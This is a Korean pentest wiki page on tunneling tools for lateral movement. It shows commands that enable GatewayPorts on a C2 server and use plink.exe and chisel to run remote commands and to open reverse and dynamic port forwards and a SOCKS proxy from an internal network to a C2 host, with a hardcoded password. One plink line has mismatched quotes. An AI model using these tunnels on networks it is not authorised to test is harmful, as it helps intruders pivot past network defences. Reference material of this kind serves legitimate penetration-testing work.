> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/lateral-movement/tunneling/tools.md).

# Tools

사용자 로컬에서 내부망의 포트에 접근하기 위해 C2 서버로 리모트 포트 포워딩을 하여 접근하고자 할 경우 C2의 ssh 속성에서 GatewayPorts는 필수적 옵션입니다.

<pre class="language-bash"><code class="lang-bash"><strong># GatewayPorts 속성 활성화 및 ssh 재시작
</strong>echo "GatewayPorts yes" >> /etc/ssh/sshd_config
systemctl restart ssh
</code></pre>

본 페이지에서는 ssh 외에도 포트포워딩을 할 수 있는 다양한 방법들에 대해 다룹니다.

### plink.exe

<pre class="language-powershell"><code class="lang-powershell"><strong># 원격 명령 실행
</strong>echo 'y' | .\plink.exe -ssh root@192.168.1.12 -pw 'Password123!' 'whoami'

<strong># 로컬 다이나믹 포트 포워딩
</strong>echo 'y' | .\plink.exe -P 20253 -ssh root@192.168.1.12 -pw 'Password123!' -D 9050

<strong># 리버스 다이나믹 포트 포워딩
</strong>echo 'y' | .\plink.exe -P 20253 -ssh root@192.168.1.12 -pw 'Password123!' -R 9050

<strong># 리버스 포트 포워딩
</strong>echo "y" | .\plink.exe -P 20253 root@192.168.1.12 -pw 'Password123!" -R 0.0.0.0:10001:127.0.0.1:3389
</code></pre>

### chisel

<pre class="language-powershell"><code class="lang-powershell"><strong># chisel 서버 (c2 서버)
</strong>./chisel server --reverse -port 8080

<strong># chisel 클라이언트 (내부망)
</strong>.\chisel.exe client 192.168.1.12:8080 R:10001:127.0.0.1:3389

<strong># 리버스 다이나믹 포트 포워딩
</strong>.\chisel.exe client 192.168.1.12:8080 R:socks
</code></pre>
